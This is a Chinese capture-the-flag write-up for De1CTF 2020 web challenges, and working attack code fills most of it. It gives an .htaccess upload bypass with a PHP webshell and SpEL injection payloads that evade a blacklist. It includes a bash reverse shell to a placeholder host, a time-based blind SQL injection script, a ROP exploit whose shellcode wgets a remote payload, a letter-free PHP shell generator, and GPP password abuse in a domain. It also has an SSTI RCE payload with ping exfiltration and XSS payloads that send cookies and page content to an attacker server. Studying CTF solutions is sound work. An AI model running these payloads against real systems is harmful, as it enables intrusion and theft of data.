2020 De1CTF Web

de1ta 师傅出的题质量真的太高了,膜拜一下

checkin

文件上传题目

先上传 .htaccess,php 字段使用反斜杠绕过

1
2
AddType application/x-httpd-p\
hp .png

然后上传后缀为 .png 的一句话木马访问即可

1
<?= system('cat /flag');

calc

java 计算器题目

这题是环境坏了捡了个漏

抓包修改 clac,添加一些图书字符使其报错,发现是 springboot 框架

可以知道是 SpEL 表达式注入

fuzz 之后过滤了以下关键字

1
2
3
4
5
6
7
8
9
10
11
- T\s*\(
- \#
- new
- java\.lang
- Runtime
- exec.*\(
- getRuntime
- ProcessBuilder
- start
- getClass
- String

payload 可以结合 java 的反射机制和字符串拼接可以绕过黑名单

1
2
"".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[15].invoke\
("".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[7].invoke(null),"whoami")

但是可以执行命令之后发现还有一个 openrasp 的 waf

当时没什么头绪,但是发现下午的时候它的 openrasp 崩了 :)

于是就可以执行命令了,参考下面文章在 java 反弹 shell 然后 cat /flag 就好了

https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

1
/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/xxx.xxx.xxx.xxx/9999<&1

复现的时候才知道,有 waf 的情况下可以直接读文件

1
"".class.forName("java.nio.ByteBuffer").wrap("".class.forName("java.nio.file.Files").readAllBytes("".class.forName("java.nio.file.Paths").get("/flag"))).get({})

mixture

limit 注入 + .so 拓展逆向题目

limit 注入

打开 member.php 有一个 orderby 提示

image-20200511105951203.png

fuzz 了很久页面还是毫无变化,黑名单是以下关键字

1
2
3
4
5
6
7
8
9
10
11
-  if
- regexp
- sleep
- union
- desc
- rand
- extractvalue
- updatexml
- ^
- ||
- &&

过了很久才测出下面 payload 页面有变化

1
member.php?orderby=limit%201

这题就和 2019GoogleCTF 的 gLotto 差不多

https://xz.aliyun.com/t/5503#toc-1

1
orderby=is+not+null,+(case+when+(ascii(mid(database(),1,1))=116)+then+(select+benchmark(5000000,sha(1))+from+users+limit+1)+else+null+end)

利用脚本进行盲注得到密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests as req
import time
url = "http://49.51.251.99/"
sess = req.Session()

def login():
sess.get(url)
data = {
"username": "admin1",
"password": "admin1",
"submit": "submit"
}
sess.post(f"{url}index.php", data=data)
# print(sess.get(f"{url}member.php").text)

def sqli():
flag = ''
index = 1

while(1):

l = 0
r = 127
m = (l+r)//2

while l<r:
paramsGet = {"orderby":"is not null, (case when (ascii(mid(((select password from member where id=1)),{},1))>{}) then (select benchmark(1000000,sha(1)) from users limit 1) else null end)".format(index, m)}
# first req to get cache
res = sess.get("http://49.51.251.99/member.php", params=paramsGet)
# print(paramsGet)
try:
# time blind sqli
res = sess.get("http://49.51.251.99/member.php", params=paramsGet, timeout=1)
r = m
except Exception as e:
l = m + 1
finally:
m = (l+r)//2
flag += chr(m)
index += 1
print(f"[*]flag: {flag}")

if __name__ == "__main__":
login()
sqli()

image-20200511110704496.png

.so 拓展逆向

进去之后是一个读文件接口和 phpinfo 页面

搜索一到一个 Minclude 扩展,然后根据拓展地址下载下来

image-20200511110831912.png

后面就交给 @q4n 爷爷去 rop 了,附上队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import requests
from pwn import *
sess = requests.Session()
url = "http://49.51.251.99/"
# auto renew session
def remote_login():
data = {
"username": "admin",
'password': "goodlucktoyou",
'submit': "submit"
}
sess.post(url, data=data)


# connect remote
def remote1(filename):
remote_login()
data = {"submit":"submit","search":filename}
response = sess.post(url + "select.php", data=data).content
# index = response.rfind("<br>".encode())
text = response
print(text)
# download(filename, text)




# download file
def download(filename, text):
filename = filename[filename.rfind("/") + 1:]
print("[+] write %s" %(filename))
f = open(filename, "wb")
f.write(text)
f.close()


# test in local docker
def local(filename):
url = "http://ip:8085/"
data = {
"search": filename
}
resp = requests.post(url, data=data).content
print(resp)
# return resp
context.arch="amd64"
libc = None
stack = None


def genpayload():
global DEB
# srv
if DEB:
libc = 0x00007f77c0d7c000
stack = 0x00007ffc81aa4000
else:
libc = 0x7f2fb414d000
stack = 0x7ffc338fa000


system = 0x00449C0+libc
pdi=0x0000000000023a5f+libc
psi=0x000000000002440e+libc
pdx=0x0000000000106725+libc
pcx=0x00000000000e898e+libc
pbx=0x000000000002d0d9+libc
print(hex(pbx))
xa=0x0000000000098385+libc
one = libc+0x4484f
mprotect = libc+0x0F4200
ret = 0x000000000002235f+libc
# 0x0000000000106724 : pop r10 ; ret
p10 = 0x0000000000106724+libc
# 0x00000000000351d4 : add rdi, r10 ; jmp rdi
jdi = 0x00000000000351d4 + libc
# 0x0000000000106723 : pop rdx ; pop r10 ; ret
pdxp=0x0000000000106723+libc


# 0x000000000003a2b2 : mov rdi, r9 ; call rdx
pr = 0x000000000003a2b2+libc
getsp = 0x00000000000a35c6+libc # : lea ecx, dword ptr [rax + 1] ; lea r9, qword ptr [rsp + 0x28] ; call rbx


payload = 'a'.ljust(0x88,'\x00') #padding


payload += flat(pdi,stack)
payload += flat(psi,0x21000)
payload += flat(pdx,7)
payload += p64(mprotect)


payload += flat(pbx,pbx)
payload += p64(getsp)
payload += flat(pdxp,jdi)
payload += p64(0xdeadbeef)
payload += flat(pdxp,jdi)
payload += p64(0x30) #r10
payload += p64(pr)
payload += '\x90'*0x28
# shellcode place
code64="""
sub rsp,0x200
xor rax,rax
xor rsi, rsi
push rsi


call here
.string "/bin/sh"
.byte 0
here:
pop rdi


call here2
.string "/tmp/verver"
.byte 0
here2:
pop rdx


call here3
.string "/usr/bin/wget"
.byte 0
here3:
pop r8


call here4
.string "http://ip:2333/"
.byte 0
here4:
pop r9


call here6
.string "-O"
.byte 0
here6:
pop rsi


call here5
.string "/tmp/verver"
.byte 0
here5:
pop rbx


push 0
push rdx
push rdi


push rsp
pop rsi


xor rdx,rdx
mov al,0x3b
syscall
cmp rax, 0
jnz ex
loop:
nop
jmp loop
ex:
int 3
"""
payload += asm(code64)
return payload


DEB = 0
if __name__ == "__main__":
if DEB:
local(genpayload())
else:
remote1(genpayload())

反弹 shell 后上去动态 /readflag 前抓一下时钟计算就好了

1
trap '' 14

Hard_pentest1

无字母 shell + 渗透题目

文件上传

一开始文件上传,后缀可以用大小写绕过 pHp

字符限制可以用 $_自增绕过

附上队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
res = []
# get a and _
prefix ='''
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__='_';
'''.split()
res.extend(prefix)
# get _GET
GET = "GET"
for i in GET:
for time in range(ord(i) - ord("A")):
res.append("$_++;")
res.append("$__.=$_;")
res.append("$_=$___;")
# ($_GET[_])($_GET[__],$_GET[___]);
res.append("(${$__}[_])(${$__}[__],${$__}[___]);")
with open("shell.php", "w") as f:
for i in res:
f.write(f"<?= {i.strip()[:-1]} ?>")
f.write("\n")
f.close()

然后就可以使用 file_put_contents 进行写马了

渗透

具体用到的是一个组策略 gpp 的漏洞

主要参考月亮大哥的思路

netstat -ano查看一下网络信息发现有一台192.168.0.12的主机

net user /domain查看域发现有一个HintZip_Pass用户

image-20200511112144407.png

net user HintZip_Pass /domain继续查看该账户

image-20200511112304043.png

查看域控信息

image-20200511112406373.png

挂载查看 Hint 信息

1
2
net use e: \\192.168.0.12\Hint
cd /d e:

image-20200511112525140.png

发现一个加密压缩包

挂载再查看 SYSVOL 信息

1
2
net use e: \\192.168.0.12\SYSVOL
cd /d e:

使用tree查看目录结构

image-20200511112734995.png

这个Groups文件夹, 有GPP漏洞

image-20200511112822374.png

使用 kali 的 gpp-decrypt 工具解密即可拿到解压密码

mc_logclient

SSTI 题目

简单说一下题目逻辑就是写文件和读文件前都需要校验 work 这个是可以简单爆破的,先读文件才能进行写文件(这个不重要),读文件可以出发 SSTI 漏洞

1
2
3
4
5
6
7
8
9
10
11
def get_work(text, result):
chrset = string.ascii_letters + string.digits
for c1 in chrset:
for c2 in chrset:
for c3 in chrset:
for c4 in chrset:
s4 = c1 + c2 + c3 + c4
tmp_result = hashlib.sha256((text + s4).encode()).hexdigest()
if tmp_result == result:
print(f"[*] right work: {s4}")
return s4

SSTI 的黑名单如下,问题不大,可以用 request 绕过

1
2
3
4
5
6
# Some bad words.
blacklist = ['+', ',', ':', '\'\'', '""', '%', 'lower', 'upper', 'builtin', 'fork', 'exec', 'walk', 'open', 'spawn', 'reload', 'exit', 'bin', 'sh', 'cat', 'config', 'secret', 'key', 'flag']

# Posix is a bad module, filter it all.
for i in dir(posix):
blacklist.append(i.lower())

这里过滤的是 ‘’ 而不是 ‘ 当时被坑了

给出一个简单的 payload

1
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system'](request.args.b)}}

虽然是可以命令执行了,但是当时什么外带命令都打不出来,赛后发现是可以用 ping 进行外带数据

客户端执行

1
ping -c 1 -p `/readflag` [your vps]

vps 执行

1
tcpdump -c 2 -q -XX -vvv -nn -i eth0 icmp

就可以监听到 flag 数据了,但是 icmp 包最大只能接收84长度的数据包,所有要打多几次

官方 wp 利用新特性 breakpointhook 的方法

https://github.com/impakho/de1ctf-mc_challs/tree/master/writeup/mc_logclient

Animal Crossing

XSS 题目

一进来是个好看的动森界面

image.png

经过 fuzz 可以发现 name、fruit 和 username 处有转义,title 处有 waf,显然注入点就在 title,但是直接加了单引号被 waf 了,而且 \x 编码绕不过就迷茫了,后来才发现不是单引号被 waf 了,是报错被 waf 了 :)

title 可以直接单引号注释逃逸

1
titile=1'//

看看 CSP,支持内联标签

1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

黑名单绕过就使用 base64 编码

1
1'+open(atob('payload'))

以下 payload 可以弹回 cookie,cookie 弹回来就是前一半的 flag

1
(function test(){window.location="http://ip:9999/?f="+btoa(document.cookie);}()));//

然后读一下网页源码可以看到有 400 张图片

1
(function test(){window.location="http://ip:9999/?f="+btoa(document.body.innerHTML);}()));//

利用 upload 接口把照片带到外面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(async()=>{
const arr = []
for(let i=1;i<=400;i++) {
res = await fetch(`/island/test_${String(i).padStart(2,0)}.png`)
data = await res.blob()
const os = new FormData();
const mf = new File([data], "name.png");
os.append("file", mf);
r = await fetch("/upload", {method: "POST",body: os})
data = await r.json()
arr.push(data.data)
}
location="http://xxx.xxx.xxx.xxx:9999/?f="+btoa(JSON.stringify(arr))
})();

下载图片然后拼图得到后半部分的 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def main(width_len, height_len, result):

img = Image.open("img//01.png")
size = img.size
width, height = size[0], size[1]
print(f"width: {width}, height: {height}")

width_len, height_len = int(width_len), int(height_len)
width_length, height_length = width_len, height_len
sum_width, sum_height = width * width_length, height * height_length

joint = Image.new('RGB', (sum_width, sum_height))
index = 0
for row in range(height_length):
for col in range(width_length):
joint.paste(Image.open("img//" + str(index) + ".png"), (col * width, row * height))
index += 1

joint.save(result)
Image.open(result).show()

image-20200511120509584.png